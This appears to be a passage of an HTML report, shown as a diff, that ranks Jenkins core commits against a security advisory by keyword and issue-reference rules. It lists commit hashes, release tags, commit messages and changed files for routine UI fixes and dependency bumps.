    • + + core/src/main/java/hudson/ExtensionList.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + make displayname of HistoryWidget configurable for alternate text... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c637d4168ef41170908ddf0f967d70af1e8e5c4e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: read
      +
    • + +
    • +
      The commit message references some github issue: 8740
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      make displayname of HistoryWidget configurable for alternate text (#8740) make displayname of HistoryWidget configurable for use with customizable-build-now plugin make the placeholder for the history filter less specific, the title already explains what this shows so just `Filter...` should be enough.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/widgets/HistoryWidget.java + + core/src/main/resources/hudson/widgets/HistoryWidget/index.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency org.apache.maven:maven-core to v3.9.6 (#8734)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5bd48ebcd045865529216b9c93f34aa2d6a04a1f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: file
      +
    • + +
    • +
      The commit message references some github issue: 8734
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency org.apache.maven:maven-core to v3.9.6 (#8734) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .gitpod/Dockerfile + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Use symbols for build status (#8705) * Init * Rename ID * Fix icon... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: jenkins-2.434 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1f95b095187b80145a7972ceb5ae981ae767e33d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: disable
      +
    • + +
    • +
      The commit message references some github issue: 8705
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Use symbols for build status (#8705) * Init * Rename ID * Fix icon position * Fix app bar build status icon being incorrect * Address missed icons --------- Co-authored-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .editorconfig + + core/src/main/resources/hudson/model/AbstractBuild/index.jelly + + core/src/main/resources/hudson/model/Job/buildTimeTrend.jelly + + core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js + + core/src/main/resources/hudson/model/Job/index.jelly + + core/src/main/resources/hudson/model/Run/statusIcon.jelly + + core/src/main/resources/hudson/views/StatusColumn/column.jelly + + core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly + + core/src/main/resources/jenkins/model/Jenkins/_legend.jelly + + core/src/main/resources/lib/hudson/buildCaption.jelly + + core/src/main/resources/lib/hudson/buildLink.jelly + + core/src/main/resources/lib/hudson/buildListTable.jelly + + core/src/main/resources/lib/hudson/jobLink.jelly + + core/src/main/resources/lib/hudson/projectView.jelly + + war/src/main/resources/images/symbols/status-aborted-anime.svg + + war/src/main/resources/images/symbols/status-aborted.svg + + war/src/main/resources/images/symbols/status-blue-anime.svg + + war/src/main/resources/images/symbols/status-blue.svg + + war/src/main/resources/images/symbols/status-disabled-anime.svg + + war/src/main/resources/images/symbols/status-disabled.svg + + war/src/main/resources/images/symbols/status-nobuilt-anime.svg + + war/src/main/resources/images/symbols/status-nobuilt.svg + + war/src/main/resources/images/symbols/status-red-anime.svg + + war/src/main/resources/images/symbols/status-red.svg + + war/src/main/resources/images/symbols/status-yellow-anime.svg + + war/src/main/resources/images/symbols/status-yellow.svg + + war/src/main/scss/base/_style.scss + + war/src/main/scss/components/_app-bar.scss + + war/src/main/scss/components/_side-panel-widgets.scss + + war/src/main/scss/pages/_dashboard.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci:jenkins from 1.111 to 1.112 (#9058) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.451 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6fa01b735446f5c9778c936f4bd5ad1973c59205 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 9058
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci:jenkins from 1.111 to 1.112 (#9058)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss-preset-env to v9.5.2 (#9054)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.451 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d5ae4b0d7cc775b49d99d903a12a7e1d191ee7b1 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 9054
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss-preset-env to v9.5.2 (#9054) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.main:jenkins-test-harness from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.451 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 00fce5a1d27e3bf6e9fd85bf65958685387cd61d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 9049
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.main:jenkins-test-harness from 2171.v048c97409d12 to 2174.v111a_b_471784f (#9049) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.springframework.security:spring-security-bom from 5.8.10 to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4666cae77ead4d111898348124fd5cf480bf4376 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 9047
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.springframework.security:spring-security-bom from 5.8.10 to 5.8.11 (#9047) Bump org.springframework.security:spring-security-bom Bumps [org.springframework.security:spring-security-bom](https://github.com/spring-projects/spring-security) from 5.8.10 to 5.8.11. - [Release notes](https://github.com/spring-projects/spring-security/releases) - [Changelog](https://github.com/spring-projects/spring-security/blob/main/RELEASE.adoc) - [Commits](https://github.com/spring-projects/spring-security/compare/5.8.10...5.8.11) --- updated-dependencies: - dependency-name: org.springframework.security:spring-security-bom dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.springframework:spring-framework-bom from 5.3.32 to 5.3.33... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e9923d3d7a67f03b15f460ee34e5e83a073484bb +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 9042
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.springframework:spring-framework-bom from 5.3.32 to 5.3.33 (#9042) Bumps [org.springframework:spring-framework-bom](https://github.com/spring-projects/spring-framework) from 5.3.32 to 5.3.33. - [Release notes](https://github.com/spring-projects/spring-framework/releases) - [Commits](https://github.com/spring-projects/spring-framework/compare/v5.3.32...v5.3.33) --- updated-dependencies: - dependency-name: org.springframework:spring-framework-bom dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Upgrade to Winstone 6.18 which include Jetty 10.0.20 upgrade (#8923)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.440.2 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 57ab5503a255aba01f40fc76c8526db3b7b23955 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8923
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Upgrade to Winstone 6.18 which include Jetty 10.0.20 upgrade (#8923) (cherry picked from commit 9c6ace3e032c843f86c66ec3422e77db0de644ad)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + + war/pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72711] Restore progress animation in build history and... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.440.2 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 72cea0e1703a1caf317bd18585fc14189544c089 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8966
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72711] Restore progress animation in build history and buildtime trend views (#8966) [JENKINS-72711] Restore progress animation in build history and build time trend views Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com> (cherry picked from commit f91d1ecc64ee384168e6f85b369148ec294c582d)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/model/Job/buildTimeTrend.jelly + + core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js + + core/src/main/resources/lib/hudson/buildListTable.jelly + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-71148] avoid empty tooltips (#8975) * [JENKINS71148] avoid... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.440.2 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f8e366455091a38ac25d297f70c112f0bdc602a4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8975
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-71148] avoid empty tooltips (#8975) * [JENKINS71148] avoid empty tooltips when the tooltip or html tooltip is empty or whitespace only it is avoided that the tippy is invoked at all which would otherwise just display a small but empty element. * better null checks (cherry picked from commit 0675943cd256d383aa8a482371762f243d35d1a5)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/src/main/js/components/tooltips/index.js + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:cloudbees-folder from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0f1390b9ab9c418d0f6b5d30f6bc50dd0b6bd7dd +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8995
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:cloudbees-folder from 6.921.vfb_b_224371fb_4 to 6.928.v7c780211d66e (#8995) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency mini-css-extract-plugin to v2.8.1 (#9008)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.448 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + dd8f9030878554370ece32b0c18ac79088678aaa +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 9008
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency mini-css-extract-plugin to v2.8.1 (#9008) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump io.jenkins.plugins:font-awesome-api from 6.5.1-2 to 6.5.1-3... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.447 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4d0a4eb8269f47561ac3781ab4b4e2d55957ab01 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8987
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump io.jenkins.plugins:font-awesome-api from 6.5.1-2 to 6.5.1-3 (#8987) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:script-security from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.446 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2bd2ce2e2dce12ac7af9f1e58ec44adab772431a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8961
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:script-security from 1321.va_73c0795b_923 to 1326.vdb_c154de8669 (#8961) Bump org.jenkins-ci.plugins:script-security Bumps [org.jenkins-ci.plugins:script-security](https://github.com/jenkinsci/script-security-plugin) from 1321.va_73c0795b_923 to 1326.vdb_c154de8669. - [Release notes](https://github.com/jenkinsci/script-security-plugin/releases) - [Commits](https://github.com/jenkinsci/script-security-plugin/commits) --- updated-dependencies: - dependency-name: org.jenkins-ci.plugins:script-security dependency-type: direct:production ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72679] avoid admin monitor popup makes buttons unusable... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.440.1 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6bc8a8ac74f94b8c68eed497ad9411445bc5dd61 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8941
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72679] avoid admin monitor popup makes buttons unusable (#8941) avoid admin monitor makes buttons unusable The div of the admin monitor pop-up is set to opacity 0 but keeps z-index 1000 when closed. This makes the buttons, that are behind the popup when shown unusable. This change uses an animation that ensures the z-index is 0 after hiding the popup and buttons are still usable (cherry picked from commit a6423541f07292f8e5b74a9ce0e9a4d711eda0d9)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72505] f:validateButton finds selected radio button (#8832)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.440.1 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2f1190055950598828b5336d4d17b05de38f164c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8832
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72505] f:validateButton finds selected radio button (#8832) JENKINS-72505 f:validateButton finds selected radio button Co-authored-by: Mark Waite <mark.earl.waite@gmail.com> Co-authored-by: Alexander Brandes <mc.cache@web.de> (cherry picked from commit d2a9fd2b1fc60381d18c79c66850cd89bd20814f)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/src/main/webapp/scripts/hudson-behavior.js + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72407] missing folder icon (#8872) when a folder icon is... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.440.1 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0905a4fc1bed7fee4f19eae5c3b949f306dc055a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8872
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72407] missing folder icon (#8872) when a folder icon is provided and relies on the getImageOf method this leads to a missing icon, e.g. gitlab branch source or when using a custom folder icon So fall back to the ballColorTd when we have no iconname which handles all cases properly. (cherry picked from commit 70f2237147f238adb54b21edf3e354fc672aeae3)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/views/StatusColumn/column.jelly + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72603] Update bundled Matrix Project Plugin to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.440.1 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d084664bb03973310f738aec6d578cd3b71bbc3e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8891
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72603] Update bundled Matrix Project Plugin to 822.824.v14451b_c0fd42 (#8891) (cherry picked from commit 34a6d0e466cd2347a3a05b29c912bdab24a36a52)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + + war/pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins.workflow:workflow-api from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.444 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 213bdecefc9fef76139488a722e3dbc6ea73583c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8914
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins.workflow:workflow-api from 1289.va_cf779f32df0 to 1291.v51fd2a_625da_7 (#8914) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci:jenkins from 1.109 to 1.110 (#8867) Bumps... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.441 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6644f566f1cd1834251aa9fa9ff20750ddcf20fe +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8867
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci:jenkins from 1.109 to 1.110 (#8867) Bumps [org.jenkins-ci:jenkins](https://github.com/jenkinsci/pom) from 1.109 to 1.110. - [Release notes](https://github.com/jenkinsci/pom/releases) - [Changelog](https://github.com/jenkinsci/pom/blob/master/CHANGELOG-old.md) - [Commits](https://github.com/jenkinsci/pom/compare/jenkins-1.109...jenkins-1.110) --- updated-dependencies: - dependency-name: org.jenkins-ci:jenkins dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-71737] fix redirect when submitting cloud changes (#8505)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: jenkins-2.426.3 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8908239882c07aeb206c7f51aa3e45152ca98e7f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    • +
      The commit message references some github issue: 8505
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-71737] fix redirect when submitting cloud changes (#8505) Co-authored-by: Alexander Brandes <mc.cache@web.de> (cherry picked from commit ec27a074c9bc3a7b72e2c6c373d7c5a1ec85ff11)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/slaves/Cloud.java + + core/src/main/java/jenkins/agents/CloudSet.java + + core/src/main/resources/hudson/slaves/Cloud/configure.jelly + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Translate description of "Plain text" markup formatter to Turkish (#9062) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.451 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e24627af9a44a203ce0820a9da0150acd6d7475a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9062
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Translate description of "Plain text" markup formatter to Turkish (#9062)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config_tr.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss to v8.4.37 (#9057) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.451 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 67a379e16a05bf87bfcf5d0a22a28d5677b35895 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9057
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss to v8.4.37 (#9057) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update babel monorepo to v7.24.1 (#9061) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.451 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 706eda4c88fa06ddf40e5ab54ae90e8819fe672b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9061
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update babel monorepo to v7.24.1 (#9061) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss to v8.4.36 (#9055) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.451 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e0d94d9339401734f2472465a62355e7290444b8 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9055
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
